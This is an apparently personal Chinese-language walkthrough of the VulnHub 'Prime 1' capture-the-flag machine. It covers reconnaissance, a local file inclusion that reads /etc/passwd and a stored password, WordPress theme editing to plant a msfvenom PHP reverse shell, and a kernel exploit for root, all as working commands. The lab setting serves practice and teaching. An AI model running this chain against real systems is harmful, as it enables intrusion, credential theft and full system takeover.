今天发现了一个有趣的靶机,加载到本地VMware Workstation工作站进行漏洞复现
靶机下载地址 https://www.vulnhub.com/entry/prime-1,358/
对目标进行扫描发现开放端口信息
nmap -sS -sV -p- -T5 100.100.100.130
浏览器访问,并对其进行目录扫描
dirb 描目录发现了/wordpress目录和一些其他的页面
对wordpress进行扫描
wpscan--url http://100.100.100.130/wordpress/ --enumerate vt,vp,u
发现了一个用户名称
发现提示文件 /dev 和 secret.txt
提示让使用fuzz模糊测试在某个页面中找到某参数
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 12 http://100.100.100.130/index.php?FUZZ=shit
根据上面的提示有个文件location.txt 访问:http://100.100.100.130/index.php?file=location.txt
成功得到location.txt内容,里面提示在其他php页面用secrettier360参数,根据上面dirb得到的image.php进行测试
curl http://100.100.100.130/image.php?secrettier360=index.php
读取index.php,发现文件包含漏洞
读取/etc/passwd
curl http://100.100.100.130/image.php?secrettier360=/etc/passwd
得知有个密码文件password.txt 在目录/home/saket下面,直接读文件
http://100.100.100.130/image.php?secrettier360=/home/saket/password.txt
得到密码:follow_the_ippsec
尝试WordPress用户victor的密码,判断目标WordPress存在用户victor两个方式,一个是目标靶机的web上有对应用户发表的文章,另一个就是通过wpscan进行扫描探测出来的
访问WordPress的默认后台路径
http://100.100.100.130/wordpress/wp-admin
尝试使用 发现的账号密码登录
victor : follow_the_ippsec
发现了文件secret.php可以修改并更新的
使用metasploit进行利用,通过msfvenom直接生成一个php反弹shell代码更新到目标文件secret.php然后配置好metasploit访问secret.php即可拿shell
msfvenom -p php/meterpreter/reverse_tcp lhost=100.100.100.128 lport=7788 -f raw -o shell.php
生成的代码直接更新到secret.php文件中
配置好metasploit,访问 http://100.100.100.130/wordpress/wp-content/themes/twentynineteen/secret.php
成功反弹shell
python -c "import pty;pty.spawn('/bin/bash');"
获取个完整交互的shell
切换到tmp目录,查看内核版本信息
uname -a
搜索searchsploit 16.04 Ubuntu
用LinuxKernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local PrivilegeEscalation进行提权
把45010.c拷到当前目录
cp /usr/share/exploitdb/exploits/linux/local/45010.c ./
编译一下gcc 45010.c -o root
上传的文件夹需要有写权限 选择 /tmp 文件夹
进入shell交互界面
给上执行权限
chmod +x root
然后./root执行 成功拿到root权限
拿到flag
总的来说这个靶机还是比较常规的,如目录扫描字典应该再进行扩充,如很多文件扫描不到。用dirb做信息收集,用kali中自带的wfuzz模糊性测试,遇到WordPress网站可以使用wpscan扫一下,在这个靶机中能拿到用户名。web考察不是很多,只用到一个本地文件包含。进到wordpress后台,修改模板写一个shell,都是常规思路,内核漏洞提权也是常规提权手段。